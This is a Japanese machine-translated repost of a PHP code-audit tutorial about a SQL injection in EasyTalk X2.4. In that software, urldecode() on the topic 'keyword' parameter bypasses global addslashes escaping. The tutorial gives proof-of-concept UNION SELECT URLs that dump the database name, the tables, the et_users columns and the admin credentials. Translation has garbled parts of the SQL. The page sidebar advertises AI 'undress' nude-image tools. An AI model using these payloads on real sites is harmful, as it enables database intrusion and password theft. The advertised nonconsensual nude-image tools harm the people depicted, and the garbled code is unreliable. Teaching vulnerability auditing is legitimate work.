目次
0x01 Background
0x02 環境セットアップ
ホームページ バックエンド開発 PHPチュートリアル [PHP コード監査サンプル チュートリアル] SQL インジェクション - グローバル保護バイパスの URLDecode

[PHP コード監査サンプル チュートリアル] SQL インジェクション - グローバル保護バイパスの URLDecode

Jun 23, 2016 pm 01:14 PM

0x01 Background

現在の WEB プログラムには、基本的に SQL インジェクション用のグローバル フィルタリングが備わっています。たとえば、PHP は GPC をオンにするか、グローバル ファイル common.php の addslashes() 関数を使用して、受信したパラメータ、特に一重引用符をフィルタリングします。 。この状況に遭遇した場合、グローバル保護をバイパスするためのエンコードおよびデコード関数を見つける必要があります。この記事では、urldecode() の状況について説明します。同様に、専門家は迂回してください~

この脆弱性は暗雲から来ています: http:/ /www.wooyun.org/bugs/wooyun-2014-050338

0x02 環境セットアップ

背景を見ると、easytalk プログラムの低バージョン、バージョン X2.4 を使用しました

①ソースコード: http:// pan.baidu.com/s/1bopOFNL

② www の easytalk ディレクトリに解凍し、プロンプトに従って段階的にインストールします。問題が発生した場合は、Baidu または Google で検索してください。成功したら、次の図にアクセスしてください:

0x03 脆弱性分析

まず、使用されている ThinkPHP フレームワークは比較的複雑です:

興味がある場合は、学習してください。初心者は、ThinkPHP が受信したパラメーターをフィルター処理し、GPC を有効にするサーバーが対応する処理を実行するかどうかに依存することを知ることができます:

1. /ThinkPHP/Extend/Library/ORG/Util/Input.class の 266 行目。 php ファイル:

/** +---------------------------------------------------------- * 如果 magic_quotes_gpc 为关闭状态,这个函数可以转义字符串 +---------------------------------------------------------- * @access public +---------------------------------------------------------- * @param string $string 要处理的字符串 +---------------------------------------------------------- * @return string +---------------------------------------------------------- */static public function addSlashes($string) {    if (!get_magic_quotes_gpc()) {        $string = addslashes($string);    }    return $string;}
ログイン後にコピー

2. Seay コード監査システムのグローバル検索機能を使用して、キーワード「urldecode」を持つファイルについて、TopicAction.class.php に受信したパラメーターを urldecode する場所が含まれていることがわかりました。キーワードと SQL クエリ:

3. この php ファイルを追跡したところ、urldecode トランスコーディングを実行し、すぐにそれをクエリに取り込み、インジェクションを引き起こしたことがわかりました:

public function topic() {    $keyword=$this->_get('keyword','urldecode');//使用ThinkPHP框架自带的_get对接收的keyword参数进行urldecode(详见http://doc.thinkphp.cn/manual/get_system_var.html)    if ($keyword) {        $topic = D('Topic')->where("topicname='$keyword'")->find();//ok,带入查询了        if ($topic) {            $isfollow=D('Mytopic')->isfollow($topic['id'],$this->my['user_id']);            $topicusers=D('MytopicView')->where("topicid='$topic[id]'")->order('id desc')->limit(9)->select();            //getwidget            $widget=M('Topicwidget')->where("topicid='$topic[id]'")->order('`order` ASC')->select();            if ($widget) {                foreach ($widget as $val) {                    $topicwidget[$val['widgettype']][]=$val;                }            }            $this->assign('topicwidget',$topicwidget);        } else {            $count=$isfollow=0;        }        $this->assign('comefrom','topic');        $this->assign('keyword',$keyword);        $this->assign('topic',$topic);        $this->assign('topicusers',$topicusers);        $this->assign('isfollow',$isfollow);        $this->assign('subname','#'.$keyword.'#');        $this->display();    } else {        header("location:".SITE_URL.'/?m=topic&a=index');    }}
ログイン後にコピー

0x04 脆弱性証明

1. データベース関連の情報を取得するための POC を構築します:

http://localhost/eazytalk/?m=topic&a=topic&keyword= aaa%2527 および 1=2 Union select 1,2,3,concat(database) (),0x5c,user(),0x5c,version()),5 %23

正常に取得された情報は次のとおりです:

View MySql ログをダウンロードし、SQL ステートメントが正常に実行されたことを確認します:

2. データベース easytalk のすべてのテーブルを取得する POC を構築します:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 および 1= 2 Union select 1,2,3, ( select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x6561737974616C6B),5%23

以下のようにすべてのテーブル情報を取得します:

4. テーブル et_users のすべてのフィールドを取得するように構築します。情報 POC:

http: //localhost/easytalk/?m=topic&a=topic&keyword=aaa%2527 および 1=2 Union select 1,2,3, (select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name= 0x65745F7573657273),5%23

次のように et_users テーブルのすべてのフィールド情報が正常に取得されました:

5. et_users テーブルの最初のアカウントを取得するための POC を構築します:

http://localhost/eazytalk/?m=topic&a=topic&keyword =aaa% 2527 および 1=2 Union select 1,2,3, (select GROUP_CONCAT(DISTINCT user_name,0x5f,password) from et_users limit 0,1),5%23

次のようにテーブル admin のアカウント パスワードを正常に取得しました:

元のアドレス:

http://www.cnbraid.com/2015/12/24/sql1/

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

11ベストPHP URLショートナースクリプト(無料およびプレミアム) 11ベストPHP URLショートナースクリプト(無料およびプレミアム) Mar 03, 2025 am 10:49 AM

11ベストPHP URLショートナースクリプト(無料およびプレミアム)

Instagram APIの紹介 Instagram APIの紹介 Mar 02, 2025 am 09:32 AM

Instagram APIの紹介

Laravelでフラッシュセッションデータを使用します Laravelでフラッシュセッションデータを使用します Mar 12, 2025 pm 05:08 PM

Laravelでフラッシュセッションデータを使用します

LaravelのバックエンドでReactアプリを構築する:パート2、React LaravelのバックエンドでReactアプリを構築する:パート2、React Mar 04, 2025 am 09:33 AM

LaravelのバックエンドでReactアプリを構築する:パート2、React

Laravelテストでの簡略化されたHTTP応答のモッキング Laravelテストでの簡略化されたHTTP応答のモッキング Mar 12, 2025 pm 05:09 PM

Laravelテストでの簡略化されたHTTP応答のモッキング

PHPのカール:REST APIでPHPカール拡張機能を使用する方法 PHPのカール:REST APIでPHPカール拡張機能を使用する方法 Mar 14, 2025 am 11:42 AM

PHPのカール:REST APIでPHPカール拡張機能を使用する方法

Codecanyonで12の最高のPHPチャットスクリプト Codecanyonで12の最高のPHPチャットスクリプト Mar 13, 2025 pm 12:08 PM

Codecanyonで12の最高のPHPチャットスクリプト

2025 PHP状況調査の発表 2025 PHP状況調査の発表 Mar 03, 2025 pm 04:20 PM

2025 PHP状況調査の発表

See all articles